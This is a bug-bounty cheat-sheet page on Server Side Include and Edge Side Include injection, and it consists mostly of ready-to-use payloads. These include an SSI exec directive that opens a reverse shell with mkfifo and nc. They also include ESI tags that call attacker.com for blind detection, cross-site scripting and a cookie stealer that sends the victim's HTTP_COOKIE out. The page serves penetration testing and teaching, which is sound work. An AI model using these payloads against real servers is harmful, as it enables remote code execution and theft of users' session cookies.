SSI / ESI Injection

Server Side Include Injection

SSI, Server Side Include Injection

  1. Print a date

<!--#echo var="DATE_LOCAL" -->

  1. Print all the variabels

<!--#printenv -->

  1. Include a file

<!--#include file="includefile.html" -->

  1. Doing a reverse shell

<!--#exec cmd="mkfifo /tmp/foo;nc IP PORT 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->
LogoBug-Bounty-Methodology/Server Side Include Injection.md at main · trilokdhaked/Bug-Bounty-MethodologyGitHub

ESI, Edge Side Inclusion

Description
Payload

Blind detection

<esi:include src=http://attacker.com>

XSS

<esi:include src=http://attacker.com/XSSPAYLOAD.html>

Cookie stealer

<esi:include src=http://attacker.com/?cookie_stealer.php?=$(HTTP_COOKIE)>

Include a file

<esi:include src="supersecret.txt">

Display debug info

<esi:debug/>

Add header

<!--esi $add_header('Location','http://attacker.com') -->

Inline fragment

<esi:inline name="/attack.html" fetchable="yes"><script>prompt('XSS')</script></esi:inline>

Payload

LogoAuto_Wordlists/ssi_esi.txt at main · carlospolop/Auto_WordlistsGitHub

Resources

LogoServer Side Includes (SSI) & Edge Side Includes (ESI)Medium
LogoSSI injection
LogoServer Side Include Injection - Payloads All The Things

Interesting Books

Interesting Books

Disclaimer: As an Amazon Associate, I earn from qualifying purchases. This helps support this GitBook project at no extra cost to you.

PreviousXSSNextCSP Bypass

Last updated